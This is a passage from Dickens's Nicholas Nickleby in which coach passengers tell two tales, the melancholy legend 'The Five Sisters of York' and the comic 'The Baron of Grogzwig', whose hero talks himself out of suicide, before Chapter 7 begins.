community, as possible.' + +'I wish the maxim were more generally acted on, in all cases,' said +the grey-headed gentleman. + +'I'm glad to hear it,' returned the other. 'Perhaps, as you can't +sing, you'll tell us a story?' + +'Nay. I should ask you.' + +'After you, I will, with pleasure.' + +'Indeed!' said the grey-haired gentleman, smiling, 'Well, let it be +so. I fear the turn of my thoughts is not calculated to lighten the +time you must pass here; but you have brought this upon yourselves, +and shall judge. We were speaking of York Minster just now. My +story shall have some reference to it. Let us call it + + +THE FIVE SISTERS OF YORK + + +After a murmur of approbation from the other passengers, during +which the fastidious lady drank a glass of punch unobserved, the +grey-headed gentleman thus went on: + +'A great many years ago--for the fifteenth century was scarce two +years old at the time, and King Henry the Fourth sat upon the throne +of England--there dwelt, in the ancient city of York, five maiden +sisters, the subjects of my tale. + +'These five sisters were all of surpassing beauty. The eldest was +in her twenty-third year, the second a year younger, the third a +year younger than the second, and the fourth a year younger than the +third. They were tall stately figures, with dark flashing eyes and +hair of jet; dignity and grace were in their every movement; and the +fame of their great beauty had spread through all the country round. + +'But, if the four elder sisters were lovely, how beautiful was the +youngest, a fair creature of sixteen! The blushing tints in the +soft bloom on the fruit, or the delicate painting on the flower, are +not more exquisite than was the blending of the rose and lily in her +gentle face, or the deep blue of her eye. The vine, in all its +elegant luxuriance, is not more graceful than were the clusters of +rich brown hair that sported round her brow. + +'If we all had hearts like those which beat so lightly in the bosoms +of the young and beautiful, what a heaven this earth would be! If, +while our bodies grow old and withered, our hearts could but retain +their early youth and freshness, of what avail would be our sorrows +and sufferings! But, the faint image of Eden which is stamped upon +them in childhood, chafes and rubs in our rough struggles with the +world, and soon wears away: too often to leave nothing but a +mournful blank remaining. + +'The heart of this fair girl bounded with joy and gladness. Devoted +attachment to her sisters, and a fervent love of all beautiful +things in nature, were its pure affections. Her gleesome voice and +merry laugh were the sweetest music of their home. She was its very +light and life. The brightest flowers in the garden were reared by +her; the caged birds sang when they heard her voice, and pined when +they missed its sweetness. Alice, dear Alice; what living thing +within the sphere of her gentle witchery, could fail to love her! + +'You may seek in vain, now, for the spot on which these sisters +lived, for their very names have passed away, and dusty antiquaries +tell of them as of a fable. But they dwelt in an old wooden house-- +old even in those days--with overhanging gables and balconies of +rudely-carved oak, which stood within a pleasant orchard, and was +surrounded by a rough stone wall, whence a stout archer might have +winged an arrow to St Mary's Abbey. The old abbey flourished then; +and the five sisters, living on its fair domains, paid yearly dues +to the black monks of St Benedict, to which fraternity it belonged. + +'It was a bright and sunny morning in the pleasant time of summer, +when one of those black monks emerged from the abbey portal, and +bent his steps towards the house of the fair sisters. Heaven above +was blue, and earth beneath was green; the river glistened like a +path of diamonds in the sun; the birds poured forth their songs from +the shady trees; the lark soared high above the waving corn; and the +deep buzz of insects filled the air. Everything looked gay and +smiling; but the holy man walked gloomily on, with his eyes bent +upon the ground. The beauty of the earth is but a breath, and man +is but a shadow. What sympathy should a holy preacher have with +either? + +'With eyes bent upon the ground, then, or only raised enough to +prevent his stumbling over such obstacles as lay in his way, the +religious man moved slowly forward until he reached a small postern +in the wall of the sisters' orchard, through which he passed, +closing it behind him. The noise of soft voices in conversation, +and of merry laughter, fell upon his ears ere he had advanced many +paces; and raising his eyes higher than was his humble wont, he +descried, at no great distance, the five sisters seated on the +grass, with Alice in the centre: all busily plying their customary +task of embroidering. + +'"Save you, fair daughters!" said the friar; and fair in truth they +were. Even a monk might have loved them as choice masterpieces of +his Maker's hand. + +'The sisters saluted the holy man with becoming reverence, and the +eldest motioned him to a mossy seat beside them. But the good friar +shook his head, and bumped himself down on a very hard stone,--at +which, no doubt, approving angels were gratified. + +'"Ye were merry, daughters," said the monk. + +'"You know how light of heart sweet Alice is," replied the eldest +sister, passing her fingers through the tresses of the smiling girl. + +'"And what joy and cheerfulness it wakes up within us, to see all +nature beaming in brightness and sunshine, father," added Alice, +blushing beneath the stern look of the recluse. + +'The monk answered not, save by a grave inclination of the head, and +the sisters pursued their task in silence. + +'"Still wasting the precious hours," said the monk at length, +turning to the eldest sister as he spoke, "still wasting the +precious hours on this vain trifling. Alas, alas! that the few +bubbles on the surface of eternity--all that Heaven wills we should +see of that dark deep stream--should be so lightly scattered!' + +'"Father," urged the maiden, pausing, as did each of the others, in +her busy task, "we have prayed at matins, our daily alms have been +distributed at the gate, the sick peasants have been tended,--all +our morning tasks have been performed. I hope our occupation is a +blameless one?' + +'"See here," said the friar, taking the frame from her hand, +"an intricate winding of gaudy colours, without purpose or object, +unless it be that one day it is destined for some vain ornament, to +minister to the pride of your frail and giddy sex. Day after day +has been employed upon this senseless task, and yet it is not half +accomplished. The shade of each departed day falls upon our graves, +and the worm exults as he beholds it, to know that we are hastening +thither. Daughters, is there no better way to pass the fleeting +hours?" + +'The four elder sisters cast down their eyes as if abashed by the +holy man's reproof, but Alice raised hers, and bent them mildly on +the friar. + +'"Our dear mother," said the maiden; "Heaven rest her soul!" + +'"Amen!" cried the friar in a deep voice. + +'"Our dear mother," faltered the fair Alice, "was living when these +long tasks began, and bade us, when she should be no more, ply them +in all discretion and cheerfulness, in our leisure hours; she said +that if in harmless mirth and maidenly pursuits we passed those +hours together, they would prove the happiest and most peaceful of +our lives, and that if, in later times, we went forth into the +world, and mingled with its cares and trials--if, allured by its +temptations and dazzled by its glitter, we ever forgot that love and +duty which should bind, in holy ties, the children of one loved +parent--a glance at the old work of our common girlhood would awaken +good thoughts of bygone days, and soften our hearts to affection and +love." + +'"Alice speaks truly, father," said the elder sister, somewhat +proudly. And so saying she resumed her work, as did the others. + +'It was a kind of sampler of large size, that each sister had before +her; the device was of a complex and intricate description, and the +pattern and colours of all five were the same. The sisters bent +gracefully over their work; the monk, resting his chin upon his +hands, looked from one to the other in silence. + +'"How much better," he said at length, "to shun all such thoughts +and chances, and, in the peaceful shelter of the church, devote your +lives to Heaven! Infancy, childhood, the prime of life, and old +age, wither as rapidly as they crowd upon each other. Think how +human dust rolls onward to the tomb, and turning your faces steadily +towards that goal, avoid the cloud which takes its rise among the +pleasures of the world, and cheats the senses of their votaries. +The veil, daughters, the veil!" + +'"Never, sisters," cried Alice. "Barter not the light and air of +heaven, and the freshness of earth and all the beautiful things +which breathe upon it, for the cold cloister and the cell. Nature's +own blessings are the proper goods of life, and we may share them +sinlessly together. To die is our heavy portion, but, oh, let us +die with life about us; when our cold hearts cease to beat, let warm +hearts be beating near; let our last look be upon the bounds which +God has set to his own bright skies, and not on stone walls and bars +of iron! Dear sisters, let us live and die, if you list, in this +green garden's compass; only shun the gloom and sadness of a +cloister, and we shall be happy." + +'The tears fell fast from the maiden's eyes as she closed her +impassioned appeal, and hid her face in the bosom of her sister. + +'"Take comfort, Alice," said the eldest, kissing her fair forehead. +"The veil shall never cast its shadow on thy young brow. How say +you, sisters? For yourselves you speak, and not for Alice, or for +me." + +'The sisters, as with one accord, cried that their lot was cast +together, and that there were dwellings for peace and virtue beyond +the convent's walls. + +'"Father," said the eldest lady, rising with dignity, "you hear our +final resolve. The same pious care which enriched the abbey of St +Mary, and left us, orphans, to its holy guardianship, directed that +no constraint should be imposed upon our inclinations, but that we +should be free to live according to our choice. Let us hear no more +of this, we pray you. Sisters, it is nearly noon. Let us take +shelter until evening!" With a reverence to the friar, the lady rose +and walked towards the house, hand in hand with Alice; the other +sisters followed. + +'The holy man, who had often urged the same point before, but had +never met with so direct a repulse, walked some little distance +behind, with his eyes bent upon the earth, and his lips moving AS IF +in prayer. As the sisters reached the porch, he quickened his pace, +and called upon them to stop. + +'"Stay!" said the monk, raising his right hand in the air, and +directing an angry glance by turns at Alice and the eldest sister. +"Stay, and hear from me what these recollections are, which you +would cherish above eternity, and awaken--if in mercy they +slumbered--by means of idle toys. The memory of earthly things is +charged, in after life, with bitter disappointment, affliction, +death; with dreary change and wasting sorrow. The time will one day +come, when a glance at those unmeaning baubles will tear open deep +wounds in the hearts of some among you, and strike to your inmost +souls. When that hour arrives--and, mark me, come it will--turn +from the world to which you clung, to the refuge which you spurned. +Find me the cell which shall be colder than the fire of mortals +grows, when dimmed by calamity and trial, and there weep for the +dreams of youth. These things are Heaven's will, not mine," said +the friar, subduing his voice as he looked round upon the shrinking +girls. "The Virgin's blessing be upon you, daughters!" + +'With these words he disappeared through the postern; and the +sisters hastening into the house were seen no more that day. + +'But nature will smile though priests may frown, and next day the +sun shone brightly, and on the next, and the next again. And in the +morning's glare, and the evening's soft repose, the five sisters +still walked, or worked, or beguiled the time by cheerful +conversation, in their quiet orchard. + +'Time passed away as a tale that is told; faster indeed than many +tales that are told, of which number I fear this may be one. The +house of the five sisters stood where it did, and the same trees +cast their pleasant shade upon the orchard grass. The sisters too +were there, and lovely as at first, but a change had come over their +dwelling. Sometimes, there was the clash of armour, and the +gleaming of the moon on caps of steel; and, at others, jaded +coursers were spurred up to the gate, and a female form glided +hurriedly forth, as if eager to demand tidings of the weary +messenger. A goodly train of knights and ladies lodged one night +within the abbey walls, and next day rode away, with two of the fair +sisters among them. Then, horsemen began to come less frequently, +and seemed to bring bad tidings when they did, and at length they +ceased to come at all, and footsore peasants slunk to the gate after +sunset, and did their errand there, by stealth. Once, a vassal was +dispatched in haste to the abbey at dead of night, and when morning +came, there were sounds of woe and wailing in the sisters' house; +and after this, a mournful silence fell upon it, and knight or lady, +horse or armour, was seen about it no more. + +'There was a sullen darkness in the sky, and the sun had gone +angrily down, tinting the dull clouds with the last traces of his +wrath, when the same black monk walked slowly on, with folded arms, +within a stone's-throw of the abbey. A blight had fallen on the +trees and shrubs; and the wind, at length beginning to break the +unnatural stillness that had prevailed all day, sighed heavily from +time to time, as though foretelling in grief the ravages of the +coming storm. The bat skimmed in fantastic flights through the +heavy air, and the ground was alive with crawling things, whose +instinct brought them forth to swell and fatten in the rain. + +'No longer were the friar's eyes directed to the earth; they were +cast abroad, and roamed from point to point, as if the gloom and +desolation of the scene found a quick response in his own bosom. +Again he paused near the sisters' house, and again he entered by the +postern. + +'But not again did his ear encounter the sound of laughter, or his +eyes rest upon the beautiful figures of the five sisters. All was +silent and deserted. The boughs of the trees were bent and broken, +and the grass had grown long and rank. No light feet had pressed it +for many, many a day. + +'With the indifference or abstraction of one well accustomed to the +change, the monk glided into the house, and entered a low, dark +room. Four sisters sat there. Their black garments made their pale +faces whiter still, and time and sorrow had worked deep ravages. +They were stately yet; but the flush and pride of beauty were gone. + +'And Alice--where was she? In Heaven. + +'The monk--even the monk--could bear with some grief here; for it +was long since these sisters had met, and there were furrows in +their blanched faces which years could never plough. He took his +seat in silence, and motioned them to continue their speech. + +'"They are here, sisters," said the elder lady in a trembling voice. +"I have never borne to look upon them since, and now I blame myself +for my weakness. What is there in her memory that we should dread? +To call up our old days shall be a solemn pleasure yet." + +'She glanced at the monk as she spoke, and, opening a cabinet, +brought forth the five frames of work, completed long before. Her +step was firm, but her hand trembled as she produced the last one; +and, when the feelings of the other sisters gushed forth at sight of +it, her pent-up tears made way, and she sobbed "God bless her!" + +'The monk rose and advanced towards them. "It was almost the last +thing she touched in health," he said in a low voice. + +'"It was," cried the elder lady, weeping bitterly. + +'The monk turned to the second sister. + +'"The gallant youth who looked into thine eyes, and hung upon thy +very breath when first he saw thee intent upon this pastime, lies +buried on a plain whereof the turf is red with blood. Rusty +fragments of armour, once brightly burnished, lie rotting on the +ground, and are as little distinguishable for his, as are the bones +that crumble in the mould!" + +'The lady groaned, and wrung her hands. + +'"The policy of courts," he continued, turning to the two other +sisters, "drew ye from your peaceful home to scenes of revelry and +splendour. The same policy, and the restless ambition of--proud and +fiery men, have sent ye back, widowed maidens, and humbled outcasts. +Do I speak truly?" + +'The sobs of the two sisters were their only reply. + +'"There is little need," said the monk, with a meaning look, "to +fritter away the time in gewgaws which shall raise up the pale +ghosts of hopes of early years. Bury them, heap penance and +mortification on their heads, keep them down, and let the convent be +their grave!" + +'The sisters asked for three days to deliberate; and felt, that +night, as though the veil were indeed the fitting shroud for their +dead joys. But, morning came again, and though the boughs of the +orchard trees drooped and ran wild upon the ground, it was the same +orchard still. The grass was coarse and high, but there was yet the +spot on which they had so often sat together, when change and sorrow +were but names. There was every walk and nook which Alice had made +glad; and in the minster nave was one flat stone beneath which she +slept in peace. + +'And could they, remembering how her young heart had sickened at the +thought of cloistered walls, look upon her grave, in garbs which +would chill the very ashes within it? Could they bow down in +prayer, and when all Heaven turned to hear them, bring the dark +shade of sadness on one angel's face? No. + +'They sent abroad, to artists of great celebrity in those times, and +having obtained the church's sanction to their work of piety, caused +to be executed, in five large compartments of richly stained glass, +a faithful copy of their old embroidery work. These were fitted +into a large window until that time bare of ornament; and when the +sun shone brightly, as she had so well loved to see it, the familiar +patterns were reflected in their original colours, and throwing a +stream of brilliant light upon the pavement, fell warmly on the name +of Alice. + +'For many hours in every day, the sisters paced slowly up and down +the nave, or knelt by the side of the flat broad stone. Only three +were seen in the customary place, after many years; then but two, +and, for a long time afterwards, but one solitary female bent with +age. At length she came no more, and the stone bore five plain +Christian names. + +'That stone has worn away and been replaced by others, and many +generations have come and gone since then. Time has softened down +the colours, but the same stream of light still falls upon the +forgotten tomb, of which no trace remains; and, to this day, the +stranger is shown in York Cathedral, an old window called the Five +Sisters.' + + +'That's a melancholy tale,' said the merry-faced gentleman, emptying +his glass. + +'It is a tale of life, and life is made up of such sorrows,' +returned the other, courteously, but in a grave and sad tone of +voice. + +'There are shades in all good pictures, but there are lights too, if +we choose to contemplate them,' said the gentleman with the merry +face. 'The youngest sister in your tale was always light-hearted.' + +'And died early,' said the other, gently. + +'She would have died earlier, perhaps, had she been less happy,' +said the first speaker, with much feeling. 'Do you think the +sisters who loved her so well, would have grieved the less if her +life had been one of gloom and sadness? If anything could soothe +the first sharp pain of a heavy loss, it would be--with me--the +reflection, that those I mourned, by being innocently happy here, +and loving all about them, had prepared themselves for a purer and +happier world. The sun does not shine upon this fair earth to meet +frowning eyes, depend upon it.' + +'I believe you are right,' said the gentleman who had told the +story. + +'Believe!' retorted the other, 'can anybody doubt it? Take any +subject of sorrowful regret, and see with how much pleasure it is +associated. The recollection of past pleasure may become pain--' + +'It does,' interposed the other. + +'Well; it does. To remember happiness which cannot be restored, is +pain, but of a softened kind. Our recollections are unfortunately +mingled with much that we deplore, and with many actions which we +bitterly repent; still in the most chequered life I firmly think +there are so many little rays of sunshine to look back upon, that I +do not believe any mortal (unless he had put himself without the +pale of hope) would deliberately drain a goblet of the waters of +Lethe, if he had it in his power.' + +'Possibly you are correct in that belief,' said the grey-haired +gentleman after a short reflection. 'I am inclined to think you +are.' + +'Why, then,' replied the other, 'the good in this state of existence +preponderates over the bad, let miscalled philosophers tell us what +they will. If our affections be tried, our affections are our +consolation and comfort; and memory, however sad, is the best and +purest link between this world and a better. But come! I'll tell +you a story of another kind.' + +After a very brief silence, the merry-faced gentleman sent round the +punch, and glancing slyly at the fastidious lady, who seemed +desperately apprehensive that he was going to relate something +improper, began + + +THE BARON OF GROGZWIG + + +'The Baron Von Koeldwethout, of Grogzwig in Germany, was as likely a +young baron as you would wish to see. I needn't say that he lived +in a castle, because that's of course; neither need I say that he +lived in an old castle; for what German baron ever lived in a new +one? There were many strange circumstances connected with this +venerable building, among which, not the least startling and +mysterious were, that when the wind blew, it rumbled in the +chimneys, or even howled among the trees in the neighbouring forest; +and that when the moon shone, she found her way through certain +small loopholes in the wall, and actually made some parts of the +wide halls and galleries quite light, while she left others in +gloomy shadow. I believe that one of the baron's ancestors, being +short of money, had inserted a dagger in a gentleman who called one +night to ask his way, and it WAS supposed that these miraculous +occurrences took place in consequence. And yet I hardly know how +that could have been, either, because the baron's ancestor, who was +an amiable man, felt very sorry afterwards for having been so rash, +and laying violent hands upon a quantity of stone and timber which +belonged to a weaker baron, built a chapel as an apology, and so +took a receipt from Heaven, in full of all demands. + +'Talking of the baron's ancestor puts me in mind of the baron's +great claims to respect, on the score of his pedigree. I am afraid +to say, I am sure, how many ancestors the baron had; but I know that +he had a great many more than any other man of his time; and I only +wish that he had lived in these latter days, that he might have had +more. It is a very hard thing upon the great men of past centuries, +that they should have come into the world so soon, because a man who +was born three or four hundred years ago, cannot reasonably be +expected to have had as many relations before him, as a man who is +born now. The last man, whoever he is--and he may be a cobbler or +some low vulgar dog for aught we know--will have a longer pedigree +than the greatest nobleman now alive; and I contend that this is not +fair. + +'Well, but the Baron Von Koeldwethout of Grogzwig! He was a fine +swarthy fellow, with dark hair and large moustachios, who rode +a-hunting in clothes of Lincoln green, with russet boots on his feet, +and a bugle slung over his shoulder like the guard of a long stage. +When he blew this bugle, four-and-twenty other gentlemen of inferior +rank, in Lincoln green a little coarser, and russet boots with a +little thicker soles, turned out directly: and away galloped the +whole train, with spears in their hands like lacquered area +railings, to hunt down the boars, or perhaps encounter a bear: in +which latter case the baron killed him first, and greased his +whiskers with him afterwards. + +'This was a merry life for the Baron of Grogzwig, and a merrier +still for the baron's retainers, who drank Rhine wine every night +till they fell under the table, and then had the bottles on the +floor, and called for pipes. Never were such jolly, roystering, +rollicking, merry-making blades, as the jovial crew of Grogzwig. + +'But the pleasures of the table, or the pleasures of under the +table, require a little variety; especially when the same five-and- +twenty people sit daily down to the same board, to discuss the same +subjects, and tell the same stories. The baron grew weary, and +wanted excitement. He took to quarrelling with his gentlemen, and +tried kicking two or three of them every day after dinner. This was +a pleasant change at first; but it became monotonous after a week or +so, and the baron felt quite out of sorts, and cast about, in +despair, for some new amusement. + +'One night, after a day's sport in which he had outdone Nimrod or +Gillingwater, and slaughtered "another fine bear," and brought him +home in triumph, the Baron Von Koeldwethout sat moodily at the head +of his table, eyeing the smoky roof of the hall with a discontended +aspect. He swallowed huge bumpers of wine, but the more he +swallowed, the more he frowned. The gentlemen who had been honoured +with the dangerous distinction of sitting on his right and left, +imitated him to a miracle in the drinking, and frowned at each +other. + +'"I will!" cried the baron suddenly, smiting the table with his +right hand, and twirling his moustache with his left. "Fill to the +Lady of Grogzwig!" + +'The four-and-twenty Lincoln greens turned pale, with the exception +of their four-and-twenty noses, which were unchangeable. + +'"I said to the Lady of Grogzwig," repeated the baron, looking round +the board. + +'"To the Lady of Grogzwig!" shouted the Lincoln greens; and down +their four-and-twenty throats went four-and-twenty imperial pints of +such rare old hock, that they smacked their eight-and-forty lips, +and winked again. + +'"The fair daughter of the Baron Von Swillenhausen," said +Koeldwethout, condescending to explain. "We will demand her in +marriage of her father, ere the sun goes down tomorrow. If he +refuse our suit, we will cut off his nose." + +'A hoarse murmur arose from the company; every man touched, first +the hilt of his sword, and then the tip of his nose, with appalling +significance. + +'What a pleasant thing filial piety is to contemplate! If the +daughter of the Baron Von Swillenhausen had pleaded a preoccupied +heart, or fallen at her father's feet and corned them in salt tears, +or only fainted away, and complimented the old gentleman in frantic +ejaculations, the odds are a hundred to one but Swillenhausen Castle +would have been turned out at window, or rather the baron turned out +at window, and the castle demolished. The damsel held her peace, +however, when an early messenger bore the request of Von +Koeldwethout next morning, and modestly retired to her chamber, from +the casement of which she watched the coming of the suitor and his +retinue. She was no sooner assured that the horseman with the large +moustachios was her proffered husband, than she hastened to her +father's presence, and expressed her readiness to sacrifice herself +to secure his peace. The venerable baron caught his child to his +arms, and shed a wink of joy. + +'There was great feasting at the castle, that day. The four-and- +twenty Lincoln greens of Von Koeldwethout exchanged vows of eternal +friendship with twelve Lincoln greens of Von Swillenhausen, and +promised the old baron that they would drink his wine "Till all was +blue"--meaning probably until their whole countenances had acquired +the same tint as their noses. Everybody slapped everybody else's +back, when the time for parting came; and the Baron Von Koeldwethout +and his followers rode gaily home. + +'For six mortal weeks, the bears and boars had a holiday. The +houses of Koeldwethout and Swillenhausen were united; the spears +rusted; and the baron's bugle grew hoarse for lack of blowing. + +'Those were great times for the four-and-twenty; but, alas! their +high and palmy days had taken boots to themselves, and were already +walking off. + +'"My dear," said the baroness. + +'"My love," said the baron. + +'"Those coarse, noisy men--" + +'"Which, ma'am?" said the baron, starting. + +'The baroness pointed, from the window at which they stood, to the +courtyard beneath, where the unconscious Lincoln greens were taking +a copious stirrup-cup, preparatory to issuing forth after a boar or +two. + +'"My hunting train, ma'am," said the baron. + +'"Disband them, love," murmured the baroness. + +'"Disband them!" cried the baron, in amazement. + +'"To please me, love," replied the baroness. + +'"To please the devil, ma'am," answered the baron. + +'Whereupon the baroness uttered a great cry, and swooned away at the +baron's feet. + +'What could the baron do? He called for the lady's maid, and roared +for the doctor; and then, rushing into the yard, kicked the two +Lincoln greens who were the most used to it, and cursing the others +all round, bade them go--but never mind where. I don't know the +German for it, or I would put it delicately that way. + +'It is not for me to say by what means, or by what degrees, some +wives manage to keep down some husbands as they do, although I may +have my private opinion on the subject, and may think that no Member +of Parliament ought to be married, inasmuch as three married members +out of every four, must vote according to their wives' consciences +(if there be such things), and not according to their own. All I +need say, just now, is, that the Baroness Von Koeldwethout somehow +or other acquired great control over the Baron Von Koeldwethout, and +that, little by little, and bit by bit, and day by day, and year by +year, the baron got the worst of some disputed question, or was +slyly unhorsed from some old hobby; and that by the time he was a +fat hearty fellow of forty-eight or thereabouts, he had no feasting, +no revelry, no hunting train, and no hunting--nothing in short that +he liked, or used to have; and that, although he was as fierce as a +lion, and as bold as brass, he was decidedly snubbed and put down, +by his own lady, in his own castle of Grogzwig. + +'Nor was this the whole extent of the baron's misfortunes. About a +year after his nuptials, there came into the world a lusty young +baron, in whose honour a great many fireworks were let off, and a +great many dozens of wine drunk; but next year there came a young +baroness, and next year another young baron, and so on, every year, +either a baron or baroness (and one year both together), until the +baron found himself the father of a small family of twelve. Upon +every one of these anniversaries, the venerable Baroness Von +Swillenhausen was nervously sensitive for the well-being of her +child the Baroness Von Koeldwethout; and although it was not found +that the good lady ever did anything material towards contributing +to her child's recovery, still she made it a point of duty to be as +nervous as possible at the castle of Grogzwig, and to divide her +time between moral observations on the baron's housekeeping, and +bewailing the hard lot of her unhappy daughter. And if the Baron of +Grogzwig, a little hurt and irritated at this, took heart, and +ventured to suggest that his wife was at least no worse off than the +wives of other barons, the Baroness Von Swillenhausen begged all +persons to take notice, that nobody but she, sympathised with her +dear daughter's sufferings; upon which, her relations and friends +remarked, that to be sure she did cry a great deal more than her +son-in-law, and that if there were a hard-hearted brute alive, it +was that Baron of Grogzwig. + +'The poor baron bore it all as long as he could, and when he could +bear it no longer lost his appetite and his spirits, and sat himself +gloomily and dejectedly down. But there were worse troubles yet in +store for him, and as they came on, his melancholy and sadness +increased. Times changed. He got into debt. The Grogzwig coffers +ran low, though the Swillenhausen family had looked upon them as +inexhaustible; and just when the baroness was on the point of making +a thirteenth addition to the family pedigree, Von Koeldwethout +discovered that he had no means of replenishing them. + +'"I don't see what is to be done," said the baron. "I think I'll +kill myself." + +'This was a bright idea. The baron took an old hunting-knife from a +cupboard hard by, and having sharpened it on his boot, made what +boys call "an offer" at his throat. + +'"Hem!" said the baron, stopping short. "Perhaps it's not sharp +enough." + +'The baron sharpened it again, and made another offer, when his hand +was arrested by a loud screaming among the young barons and +baronesses, who had a nursery in an upstairs tower with iron bars +outside the window, to prevent their tumbling out into the moat. + +'"If I had been a bachelor," said the baron sighing, "I might have +done it fifty times over, without being interrupted. Hallo! Put a +flask of wine and the largest pipe in the little vaulted room behind +the hall." + +'One of the domestics, in a very kind manner, executed the baron's +order in the course of half an hour or so, and Von Koeldwethout +being apprised thereof, strode to the vaulted room, the walls of +which, being of dark shining wood, gleamed in the light of the +blazing logs which were piled upon the hearth. The bottle and pipe +were ready, and, upon the whole, the place looked very comfortable. + +'"Leave the lamp," said the baron. + +'"Anything else, my lord?" inquired the domestic. + +'"The room," replied the baron. The domestic obeyed, and the baron +locked the door. + +'"I'll smoke a last pipe," said the baron, "and then I'll be off." +So, putting the knife upon the table till he wanted it, and tossing +off a goodly measure of wine, the Lord of Grogzwig threw himself +back in his chair, stretched his legs out before the fire, and +puffed away. + +'He thought about a great many things--about his present troubles +and past days of bachelorship, and about the Lincoln greens, long +since dispersed up and down the country, no one knew whither: with +the exception of two who had been unfortunately beheaded, and four +who had killed themselves with drinking. His mind was running upon +bears and boars, when, in the process of draining his glass to the +bottom, he raised his eyes, and saw, for the first time and with +unbounded astonishment, that he was not alone. + +'No, he was not; for, on the opposite side of the fire, there sat +with folded arms a wrinkled hideous figure, with deeply sunk and +bloodshot eyes, and an immensely long cadaverous face, shadowed by +jagged and matted locks of coarse black hair. He wore a kind of +tunic of a dull bluish colour, which, the baron observed, on +regarding it attentively, was clasped or ornamented down the front +with coffin handles. His legs, too, were encased in coffin plates +as though in armour; and over his left shoulder he wore a short +dusky cloak, which seemed made of a remnant of some pall. He took +no notice of the baron, but was intently eyeing the fire. + +'"Halloa!" said the baron, stamping his foot to attract attention. + +'"Halloa!" replied the stranger, moving his eyes towards the baron, +but not his face or himself "What now?" + +'"What now!" replied the baron, nothing daunted by his hollow voice +and lustreless eyes. "I should ask that question. How did you get +here?" + +'"Through the door," replied the figure. + +'"What are you?" says the baron. + +'"A man," replied the figure. + +'"I don't believe it," says the baron. + +'"Disbelieve it then," says the figure. + +'"I will," rejoined the baron. + +'The figure looked at the bold Baron of Grogzwig for some time, and +then said familiarly, + +'"There's no coming over you, I see. I'm not a man!" + +'"What are you then?" asked the baron. + +'"A genius," replied the figure. + +'"You don't look much like one," returned the baron scornfully. + +'"I am the Genius of Despair and Suicide," said the apparition. +"Now you know me." + +'With these words the apparition turned towards the baron, as if +composing himself for a talk--and, what was very remarkable, was, +that he threw his cloak aside, and displaying a stake, which was run +through the centre of his body, pulled it out with a jerk, and laid +it on the table, as composedly as if it had been a walking-stick. + +'"Now," said the figure, glancing at the hunting-knife, "are you +ready for me?" + +'"Not quite," rejoined the baron; "I must finish this pipe first." + +'"Look sharp then," said the figure. + +'"You seem in a hurry," said the baron. + +'"Why, yes, I am," answered the figure; "they're doing a pretty +brisk business in my way, over in England and France just now, and +my time is a good deal taken up." + +'"Do you drink?" said the baron, touching the bottle with the bowl +of his pipe. + +'"Nine times out of ten, and then very hard," rejoined the figure, +drily. + +'"Never in moderation?" asked the baron. + +'"Never," replied the figure, with a shudder, "that breeds +cheerfulness." + +'The baron took another look at his new friend, whom he thought an +uncommonly queer customer, and at length inquired whether he took +any active part in such little proceedings as that which he had in +contemplation. + +'"No," replied the figure evasively; "but I am always present." + +'"Just to see fair, I suppose?" said the baron. + +'"Just that," replied the figure, playing with his stake, and +examining the ferule. "Be as quick as you can, will you, for +there's a young gentleman who is afflicted with too much money and +leisure wanting me now, I find." + +'"Going to kill himself because he has too much money!" exclaimed +the baron, quite tickled. "Ha! ha! that's a good one." (This was +the first time the baron had laughed for many a long day.) + +'"I say," expostulated the figure, looking very much scared; "don't +do that again." + +'"Why not?" demanded the baron. + +'"Because it gives me pain all over," replied the figure. "Sigh as +much as you please: that does me good." + +'The baron sighed mechanically at the mention of the word; the +figure, brightening up again, handed him the hunting-knife with most +winning politeness. + +'"It's not a bad idea though," said the baron, feeling the edge of +the weapon; "a man killing himself because he has too much money." + +'"Pooh!" said the apparition, petulantly, "no better than a man's +killing himself because he has none or little." + +'Whether the genius unintentionally committed himself in saying +this, or whether he thought the baron's mind was so thoroughly made +up that it didn't matter what he said, I have no means of knowing. +I only know that the baron stopped his hand, all of a sudden, opened +his eyes wide, and looked as if quite a new light had come upon him +for the first time. + +'"Why, certainly," said Von Koeldwethout, "nothing is too bad to be +retrieved." + +'"Except empty coffers," cried the genius. + +'"Well; but they may be one day filled again," said the baron. + +'"Scolding wives," snarled the genius. + +'"Oh! They may be made quiet," said the baron. + +'"Thirteen children," shouted the genius. + +'"Can't all go wrong, surely," said the baron. + +'The genius was evidently growing very savage with the baron, for +holding these opinions all at once; but he tried to laugh it off, +and said if he would let him know when he had left off joking he +should feel obliged to him. + +'"But I am not joking; I was never farther from it," remonstrated +the baron. + +'"Well, I am glad to hear that," said the genius, looking very grim, +"because a joke, without any figure of speech, IS the death of me. +Come! Quit this dreary world at once." + +'"I don't know," said the baron, playing with the knife; "it's a +dreary one certainly, but I don't think yours is much better, for +you have not the appearance of being particularly comfortable. That +puts me in mind--what security have I, that I shall be any the +better for going out of the world after all!" he cried, starting up; +"I never thought of that." + +'"Dispatch," cried the figure, gnashing his teeth. + +'"Keep off!" said the baron. 'I'll brood over miseries no longer, +but put a good face on the matter, and try the fresh air and the +bears again; and if that don't do, I'll talk to the baroness +soundly, and cut the Von Swillenhausens dead.' With this the baron +fell into his chair, and laughed so loud and boisterously, that the +room rang with it. + +'The figure fell back a pace or two, regarding the baron meanwhile +with a look of intense terror, and when he had ceased, caught up the +stake, plunged it violently into its body, uttered a frightful howl, +and disappeared. + +'Von Koeldwethout never saw it again. Having once made up his mind +to action, he soon brought the baroness and the Von Swillenhausens +to reason, and died many years afterwards: not a rich man that I am +aware of, but certainly a happy one: leaving behind him a numerous +family, who had been carefully educated in bear and boar-hunting +under his own personal eye. And my advice to all men is, that if +ever they become hipped and melancholy from similar causes (as very +many men do), they look at both sides of the question, applying a +magnifying-glass to the best one; and if they still feel tempted to +retire without leave, that they smoke a large pipe and drink a full +bottle first, and profit by the laudable example of the Baron of +Grogzwig.' + + +'The fresh coach is ready, ladies and gentlemen, if you please,' +said a new driver, looking in. + +This intelligence caused the punch to be finished in a great hurry, +and prevented any discussion relative to the last story. Mr Squeers +was observed to draw the grey-headed gentleman on one side, and to +ask a question with great apparent interest; it bore reference to +the Five Sisters of York, and was, in fact, an inquiry whether he +could inform him how much per annum the Yorkshire convents got in +those days with their boarders. + +The journey was then resumed. Nicholas fell asleep towards morning, +and, when he awoke, found, with great regret, that, during his nap, +both the Baron of Grogzwig and the grey-haired gentleman had got +down and were gone. The day dragged on uncomfortably enough. At +about six o'clock that night, he and Mr Squeers, and the little +boys, and their united luggage, were all put down together at the +George and New Inn, Greta Bridge. + + + +CHAPTER 7 + +Mr and Mrs Squeers at Home + + +Mr Squeers, being safely landed, left 